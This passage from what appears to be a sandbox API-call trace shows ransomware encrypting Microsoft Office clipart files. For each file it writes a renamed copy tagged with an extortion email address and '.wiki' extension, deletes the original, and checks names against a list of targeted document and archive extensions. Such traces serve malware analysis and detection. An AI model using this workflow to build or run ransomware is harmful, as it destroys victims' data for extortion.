(normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf")) returned 0x20 [0189.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0189.123] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.123] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0189.124] GetLastError () returned 0x0 [0189.124] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x76ce, lpOverlapped=0x0) returned 1 [0189.150] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x76d0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x76d0, lpOverlapped=0x0) returned 1 [0189.151] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.151] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.151] SetEndOfFile (hFile=0x220) returned 1 [0189.151] CloseHandle (hObject=0x220) returned 1 [0189.152] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.152] SetEndOfFile (hFile=0x1e0) returned 1 [0189.152] CloseHandle (hObject=0x1e0) returned 1 [0189.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.153] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf")) returned 1 [0189.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0189.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0189.153] lstrlenW (lpString=".doc") returned 4 [0189.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.153] lstrlenW (lpString=".docx") returned 5 [0189.153] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.153] lstrlenW (lpString=".pdf") returned 4 [0189.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.153] lstrlenW (lpString=".xls") returned 4 [0189.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.153] lstrlenW (lpString=".xlsx") returned 5 [0189.153] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.153] lstrlenW (lpString=".ppt") returned 4 [0189.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0189.153] lstrlenW (lpString=".zip") returned 4 [0189.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.153] lstrlenW (lpString=".rar") returned 4 [0189.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.153] lstrlenW (lpString=".bz2") returned 4 [0189.153] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.154] lstrlenW (lpString=".7z") returned 3 [0189.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0189.154] lstrlenW (lpString=".dbf") returned 4 [0189.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0189.154] lstrlenW (lpString=".1cd") returned 4 [0189.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0189.154] lstrlenW (lpString=".jpg") returned 4 [0189.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0189.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0189.154] lstrlenW (lpString=".doc") returned 4 [0189.154] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.154] lstrlenW (lpString=".docx") returned 5 [0189.154] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.154] lstrlenW (lpString=".pdf") returned 4 [0189.154] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.154] lstrlenW (lpString=".xls") returned 4 [0189.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.154] lstrlenW (lpString=".xlsx") returned 5 [0189.154] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.154] lstrlenW (lpString=".ppt") returned 4 [0189.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0189.154] lstrlenW (lpString=".zip") returned 4 [0189.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.154] lstrlenW (lpString=".rar") returned 4 [0189.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.154] lstrlenW (lpString=".bz2") returned 4 [0189.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.154] lstrlenW (lpString=".7z") returned 3 [0189.155] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0189.155] lstrlenW (lpString=".dbf") returned 4 [0189.155] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0189.155] lstrlenW (lpString=".1cd") returned 4 [0189.155] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0189.155] lstrlenW (lpString=".jpg") returned 4 [0189.155] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.155] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.155] lstrlenW (lpString="FD02068_.WMF") returned 12 [0189.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0189.155] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2488) returned 1 [0189.155] CloseHandle (hObject=0x1e0) returned 1 [0189.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf")) returned 0x20 [0189.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0189.156] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.156] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0189.156] GetLastError () returned 0x0 [0189.156] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x9b8, lpOverlapped=0x0) returned 1 [0189.271] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0189.272] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.272] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.272] SetEndOfFile (hFile=0x220) returned 1 [0189.272] CloseHandle (hObject=0x220) returned 1 [0189.272] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.272] SetEndOfFile (hFile=0x1e0) returned 1 [0189.273] CloseHandle (hObject=0x1e0) returned 1 [0189.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.273] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf")) returned 1 [0189.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0189.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0189.273] lstrlenW (lpString=".doc") returned 4 [0189.273] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.273] lstrlenW (lpString=".docx") returned 5 [0189.273] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.273] lstrlenW (lpString=".pdf") returned 4 [0189.274] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.274] lstrlenW (lpString=".xls") returned 4 [0189.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.274] lstrlenW (lpString=".xlsx") returned 5 [0189.274] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.274] lstrlenW (lpString=".ppt") returned 4 [0189.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0189.274] lstrlenW (lpString=".zip") returned 4 [0189.274] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.274] lstrlenW (lpString=".rar") returned 4 [0189.274] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.274] lstrlenW (lpString=".bz2") returned 4 [0189.274] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.274] lstrlenW (lpString=".7z") returned 3 [0189.274] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0189.274] lstrlenW (lpString=".dbf") returned 4 [0189.274] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0189.274] lstrlenW (lpString=".1cd") returned 4 [0189.274] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0189.274] lstrlenW (lpString=".jpg") returned 4 [0189.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0189.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0189.274] lstrlenW (lpString=".doc") returned 4 [0189.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.275] lstrlenW (lpString=".docx") returned 5 [0189.275] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.275] lstrlenW (lpString=".pdf") returned 4 [0189.275] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.275] lstrlenW (lpString=".xls") returned 4 [0189.275] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.275] lstrlenW (lpString=".xlsx") returned 5 [0189.275] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.275] lstrlenW (lpString=".ppt") returned 4 [0189.275] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0189.275] lstrlenW (lpString=".zip") returned 4 [0189.275] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.275] lstrlenW (lpString=".rar") returned 4 [0189.275] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.275] lstrlenW (lpString=".bz2") returned 4 [0189.275] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.275] lstrlenW (lpString=".7z") returned 3 [0189.275] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0189.275] lstrlenW (lpString=".dbf") returned 4 [0189.275] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0189.275] lstrlenW (lpString=".1cd") returned 4 [0189.275] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0189.275] lstrlenW (lpString=".jpg") returned 4 [0189.275] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.276] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.276] lstrlenW (lpString="FD02097_.WMF") returned 12 [0189.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0189.276] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1564) returned 1 [0189.276] CloseHandle (hObject=0x1e0) returned 1 [0189.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf")) returned 0x20 [0189.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0189.277] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.277] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0189.281] GetLastError () returned 0x0 [0189.281] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x61c, lpOverlapped=0x0) returned 1 [0189.283] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x620, lpOverlapped=0x0) returned 1 [0189.283] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.284] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.284] SetEndOfFile (hFile=0x220) returned 1 [0189.284] CloseHandle (hObject=0x220) returned 1 [0189.284] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.284] SetEndOfFile (hFile=0x1e0) returned 1 [0189.285] CloseHandle (hObject=0x1e0) returned 1 [0189.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf")) returned 1 [0189.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0189.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0189.285] lstrlenW (lpString=".doc") returned 4 [0189.285] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.285] lstrlenW (lpString=".docx") returned 5 [0189.285] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.285] lstrlenW (lpString=".pdf") returned 4 [0189.285] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.285] lstrlenW (lpString=".xls") returned 4 [0189.285] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.285] lstrlenW (lpString=".xlsx") returned 5 [0189.285] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.285] lstrlenW (lpString=".ppt") returned 4 [0189.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0189.286] lstrlenW (lpString=".zip") returned 4 [0189.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.286] lstrlenW (lpString=".rar") returned 4 [0189.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.286] lstrlenW (lpString=".bz2") returned 4 [0189.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.286] lstrlenW (lpString=".7z") returned 3 [0189.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0189.286] lstrlenW (lpString=".dbf") returned 4 [0189.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0189.286] lstrlenW (lpString=".1cd") returned 4 [0189.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0189.286] lstrlenW (lpString=".jpg") returned 4 [0189.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0189.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0189.286] lstrlenW (lpString=".doc") returned 4 [0189.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.286] lstrlenW (lpString=".docx") returned 5 [0189.286] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.286] lstrlenW (lpString=".pdf") returned 4 [0189.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.286] lstrlenW (lpString=".xls") returned 4 [0189.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.286] lstrlenW (lpString=".xlsx") returned 5 [0189.286] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.286] lstrlenW (lpString=".ppt") returned 4 [0189.287] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0189.287] lstrlenW (lpString=".zip") returned 4 [0189.287] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.287] lstrlenW (lpString=".rar") returned 4 [0189.287] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.287] lstrlenW (lpString=".bz2") returned 4 [0189.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.287] lstrlenW (lpString=".7z") returned 3 [0189.287] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0189.287] lstrlenW (lpString=".dbf") returned 4 [0189.287] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0189.287] lstrlenW (lpString=".1cd") returned 4 [0189.287] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0189.287] lstrlenW (lpString=".jpg") returned 4 [0189.287] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.287] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.287] lstrlenW (lpString="FD02115_.WMF") returned 12 [0189.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0189.288] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=4660) returned 1 [0189.288] CloseHandle (hObject=0x1e0) returned 1 [0189.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf")) returned 0x20 [0189.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 